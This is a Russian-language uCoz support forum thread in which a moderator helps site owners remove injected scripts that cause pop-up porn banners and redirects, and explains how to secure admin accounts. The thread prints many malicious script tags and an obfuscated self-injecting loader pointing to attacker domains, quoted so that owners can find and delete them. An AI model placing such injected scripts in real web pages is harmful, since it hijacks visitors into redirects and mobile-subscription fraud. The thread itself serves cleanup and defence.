Модератор форума: Yuri_G  
Если на вашем сайте появились порнобаннеры
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1 | 15:57:08
Если на вашем сайте постоянные перебросы на другие сайты или появляется куча всплывающих рекламных баннеров, порнобаннеров, то вы должны проверить код страниц на наличие следующих скриптов:

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/hvuz2754blb414j/niucee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/eipt4uu8dbovggv/niuggcee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/1ca1t7akhf87zrc/flashsiteru.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/af6arwcjnknnb15/menu.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/ud3ne5xe8dcre8u/topbottom.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/kuejhhvopk6nw6z/mysql.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/g5zffknmr8da4tp/update.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4lgd2g170q96tq3/menu-v2.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4f9eakzpj17n2yw/shapka.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/tnwyduomjbcsxzm/opapo.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/207odofje1uzdl5/orororo.txt"></script>
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/98vihkxfbix863weu7zv9wqxjxhbbdh'></script>
<script type="text/javascript" src="http://nativevat.hol.es/rases.txt"></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Актуальные на данный момент и самые распространенные эти скрипты

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://bobrilla.com/7h4p5qn4qhr8ee1ywr1nh01af3d31nbp'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://iqmasa.ru/6rzofz8uuc28ef8pehs6rx5nbidd8hra473w3yk0c1n9d39'></script>

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://fasterdir.ru/8v0n2hh3me45jvyxrtdyc4164r61v4ut'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>


Код
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobatori.com/6h3mo39hhqx8pibnjyshzo13skikuus5'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8mi9nn0te6q68tjygr5vm573z85xk4lzw89gq7udb51xh8l'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://chicop.ru/68sb0mshp9b78t1epj44r8zi8bjocb9'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobmas.ru/s/948'></script>


Код

<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?818010=LmcuKHw4NjU5MTM-KWdrbm5oaG0';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>
<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?823389=KWApL3s_MTI-NjQ5LmBsaWlvb2U';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>



Как удалить:

1) Код как правило внедряется в шаблоны Страницы сайта. Модуль новости (все шаблоны) но могут быть варианты. Иногда код внедряется во все шаблоны сайта.
Прописывается в верхней части шаблона или в самом низу. Реже встречается в футере (глобальный блок Нижняя часть сайта)

2) Для удаления нужно воспользоваться функцией Быстрой замены. Для этого надо пройти в панель управления - Дизайн - Управление дизайном - Быстрая замена - В поле "Что заменить" вставляете скрипт (даже если внедрено много скриптов лучше удалять по одному) - Поле на что изменить оставляете пустым и производите замену во всех действующих модулях
Если скриптов много внедрено, можно попробовать многострочную замену по той же схеме
3) После очистки сайта от внедренного кода нужно обязательно сменить пароль uID профиля, которым администрируете сайт. Инструкция по изменению пароля находится тут //forum.ucoz.ru/forum/45-52299-1
4) Если после изменения uID пароля на новый сложный у вас снова и снова возникает проблема внедрения чужеродного кода, то выполните следующие инструкции:
1) создайте нового пользователя в панели управления сайтом: задайте ему Логин и сложнейший пароль
2) дайте созданному пользователю права администратора, а у бывшего uID профиля, которым администрировали сайт заберите права и переведите его в низшую группу
3) в общих настройках сайта поставьте старый Вид кнопки uID авторизации и далее администрируйте сайт локально
5) Если локальный способ администрирования для вас не подходит, то создайте в системе ещё один uID профиль, на котором не будет сайтов и прав управления ни одним из сайтов. И новый созданный профиль используйте для авторизации на сайтах системы uCoz с uID авторизацией. А uID профилем, которым вы администрируете сайт или сайты заходите только к себе на сайты и более никуда. И поставьте на uID пароль администратора сайта сложнейший пароль!
6) Заберите права доступа к админ бару другим администраторам и модераторам вашего сайта. не пускайте никого в панель управления сайтом
7) Будьте внимательны к письмам, которые приходят на вашу почту. Часто мошенники имитируют письма от вебсервиса uCoz, в которых просят вас пройти или верификацию или пройти по ссылкам, также просят ввод ваших данных (вебтоп пароль и пароль uID профиля или секретный вопрос и ответ). Если вы сомневаетесь в письме, которое вам пришло от имени сервиса, вы можете всегда спросить или на форуме в этой теме //forum.ucoz.ru/forum/45-46950-1 или перешлите его сразу на адрес abuse@ucoz.ru
Будьте всегда бдительны и следите за темой //forum.ucoz.ru/forum/45-35739-1


Если вы вообще ничего не поняли, но проблема появления всплывающих порнобаннеров и переброски на чужие сайты с вашего у вас существует, то при обращении в эту тему вы должны дать ссылку на свой сайт, дать ссылку на сайт куда перебрасывает (если есть переброс), а так же указать происходит это под логином или под гостем

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
NailCreator
Сообщений: 1
Репутация: 0

Сообщение # 226 | 13:56:22
Всем доброго дня)
Уважаемые админы! Помогите, пожалуйста! Я новичок в создании и администрировании сайтов.
Месяц назад создала сайт http://yulianails.ucoz.ru/, работал нормально, сегодня обнаружила постороннюю рекламу почти на всех страницах сайта, а так же под гостем постоянно перекидывает на данный сайт: http://jump15.jump-wap.com/jump_redirect?id=8dbc756b-3fb5-45c6-8104-85e976853194
А затем на http://wap.megafonpro.ru/is3nwp/psmcharge/charge?service_id=2251&opt_id=322316987&template=mobkino_30_WAP_1&sid=sxmnsjom&return_url=mds4%2Fpartner%2Fwap_tmp%2Fexit.jsp%3Freturnurl%3Dmft-subscribe%252Fws%252Fop%252Fcode%252F35e21686-0a40-4163-8779-542d64877b7e%2 6serviceid%3Dmobkino_30%26transactid%3D14363-6a6f8e84-1699-4828-aff7-4ebfafe01223&status=new&new_if&context=trid_14363-6a6f8e84-1699-4828-aff7-4ebfafe01223

Причем это происходит только через гугл хром, через IE все нормально...
Я попробовала сделать быструю замену вышеперечисленных скриптов, но видимо руки не из того места...)
Помогите, пожалуйста!!
Прикрепления: 1776552.png (497.0 Kb) · 9442360.png (89.9 Kb)
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 227 | 18:48:39
NailCreator, первое - это системный баннер юкоз. второе читать тут //forum.ucoz.ru/forum/45-40389-1

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
lytik
Сообщений: 7
Репутация: 0

Сообщение # 228 | 19:49:26
Здравствуйте, помогите пожалуйста найти вредоносный код. Вот адрес сайта http://www.kino-obzor.org/ .
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 229 | 19:52:07
lytik, из формы входа удалите скрипт

Код
<script src="http://i1ii.ru/1.js" type="text/javascript"></script>

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
lytik
Сообщений: 7
Репутация: 0

Сообщение # 230 | 19:55:19
спасибо, не подскажите откуда он может там появляться?
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 231 | 20:03:57
lytik, вы сами и поставили вместе с кодом формы входа. смотрите внимательно, что копируете и ставите на сайт, когда занимаетесь поиском скриптов

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
lunniza
Сообщений: 1
Репутация: 0

Сообщение # 232 | 21:14:26
webanet
Здравствуйте!Помогите!Замучилась вручную каждый день удалять из гостевой книги всякие спамные сообщения.Задолбали!Из-за них посетители или не могут зайти ,или бояться просматривать странички.Касперский интернет секъюрити часто блокирует переход по вредоносной ссылке со странички на страничку.Я в разборках не сильна,сайт помогали делать.Найдите пожалуйста,где-что там спряталось.Вот на этой страничке--http://lunnizaslavian.ucoz.ru/gb-в гостевой книге.А вот адрес самого сайта-http://lunnizaslavian.ucoz.ru.А вот,то что выдаёт Касперский---Объект:http://dogvtop.ru/d(возможно-ct,а не d)dogvtop.jpg.......программа:Opera internet Browser.И ещё есть объект--:http://casino.duagllbi-pool.pw/favicon.ico
Заранее благодарна.
РНИ
Сообщений: 2
Репутация: 0

Сообщение # 233 | 21:46:16
Здравствуйте! У меня проблема, с которой самостоятельно, к сожалению, я справиться не могу!
При переходе на страницы сайта http://rezanova.ucoz.ru/ открываются страницы http://wwwc.mob-kino.com/?back_url=http%3A%2F%2Fgeveo.org%2Fstart%2Fcontinue_subscription&customer_id=31112277 и др., на каждой странице открывается новый сайт. Пыталась сделать поиск скриптов самостоятельно - ничего не нашла, использовала скрипты выше данной инструкции - результата нет.
При работе с сайтом как администратор такой проблемы нет.
С уважением, Наталья.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 234 | 22:04:31
РНИ, читайте //forum.ucoz.ru/forum/45-40389-1

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
РНИ
Сообщений: 2
Репутация: 0

Сообщение # 235 | 12:56:12
Перечитала форум вдоль и поперек!!! Проблему так и не смогла устранить!!! Если вы берётесь вести форум, то можно давать более вразумительные советы??? И вообще, не пора ли озаботится этой проблемой всерьез самой системой Юкоз? Ведь не только у меня такие проблемы - сплошь и рядом в вашей системе идет переброска на другие сайты!!! Если вы позиционируете свою систему Юкоз как систему, на которой могут работать даже "чайники", то будьте добры помогать таким "чайникам", а не заниматься просто отпиской. До сего момента с вашей системой было очень приятно работать и я, как не профессионал могла сделать 5 сайтов, на двух из которых сейчас проблема с переброской. Всё еще надеюсь на помощь!!!

Добавлено (08 Авг 2014, 12:56:12)
---------------------------------------------
Подключилась к Мегафон, дозвонилась оператору, установили запрет на все подписки, почистила КЭШ браузера, ситуация не изменилась, после повторного звонка оператору Мегафон подтвердили отсутствие всех подписок на модеме. Что ещё сделать? Все ваши советы, данные на форуме я выполнила!!!

TIKO6529
Сообщений: 4
Репутация: 0

Сообщение # 236 | 17:06:21
webanet Прошу помощи! При заходе на сайт tigran-vl.do.am включается какая-то аудиореклама- пишет, что ,, на этой странице воспроизводится звук,,. Объясните, пожалуйста, как избавиться от этого.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 237 | 18:02:55
TIKO6529, из блока часы удалить скрипт

Код
<script language="JavaScript" src="http://101widgets.com/01025111/180/180"></script>


из блока календарь удалить скрипт

Код
<script language="JavaScript" src="http://101widgets.com/00004012/170/187"></script>


из блока мудрые советы удалить скрипт

Код
<script language="JavaScript" src="http://101widgets.com/ffff0001/170/220"></script>


из блока аквариум удалить скрипт

Код
<script language="JavaScript" src="http://101widgets.com/00000205/170/229"></script>
и больше никогда с этого сайта с этими адресами на свой сайт виджеты не ставьте. они прошиты рекламой. еасли нечем наполнить сайт, лучше оставить пустым, чем захламлять подобным мусором

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
TIKO6529
Сообщений: 4
Репутация: 0

Сообщение # 238 | 15:20:05
Спасибо большое!!! Удалила скрипты и все теперь ок)))
RoNikEr
Сообщений: 5
Репутация: 0

Сообщение # 239 | 18:52:56
Здравствуйте, дамы и господа! Прошу помочь дилетанту - на моём сайте http://roniker.ru, на главной странице, начались показы какой-то полупорно-рекламы и начались перебросы при клике на "закрыть баннер" на другие ресурсы. Кажется, попандер это называется... Пользователи пока молчат и проверка Доктором Веб ничего не показала. Но я вижу всё это постоянно, как захожу на главную страницу. Как быть? Подскажите, плз!

Прикрепления: 8342564.jpg (249.9 Kb)
Сообщение отредактировал RoNikEr - Воскресенье, 21 Сен 2014, 18:54:01
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 240 | 18:57:48
RoNikEr, из блока спасибо от вас удалить скрипт

Код
<script type="text/javascript">
   (function(w) {
   var script = document.createElement('script');
   var i = setInterval(function() {
   if (typeof w.document.body !== 'undefined') {
   script.src = 'http://fwrotptcwoot.seem-to-follow.info' + '/?816787=567n4bXx__zw-Pr34K6ipqGrpaA';
   w.document.body.appendChild(script);
   clearInterval(i);
   }
   }, 200);
};)window);
</script>


из краткого описания этой новости удалить скрипт http://roniker.ru/news....1-15-27

Код
<script type="text/javascript">
   (function(w) {
   var script = document.createElement('script');
   var i = setInterval(function() {
   if (typeof w.document.body !== 'undefined') {
   script.src = 'http://fwrotptcwoot.seem-to-follow.info' + '/?816787=567n4bXx__zw-Pr34K6ipqGrpaA';
   w.document.body.appendChild(script);
   clearInterval(i);
   }
   }, 200);
};)window);
</script>


и из содержимого главной удалить скрипт

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://meinlist.com/9ef297wr76l6ux0pvsxpn81at4gzvp05'></script>


сменить пароли, проверить права на сайте, чтобы ни у кого кроме вас не было доступа к коду сайта и хтмд редактору при добавлении материалов

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Поиск: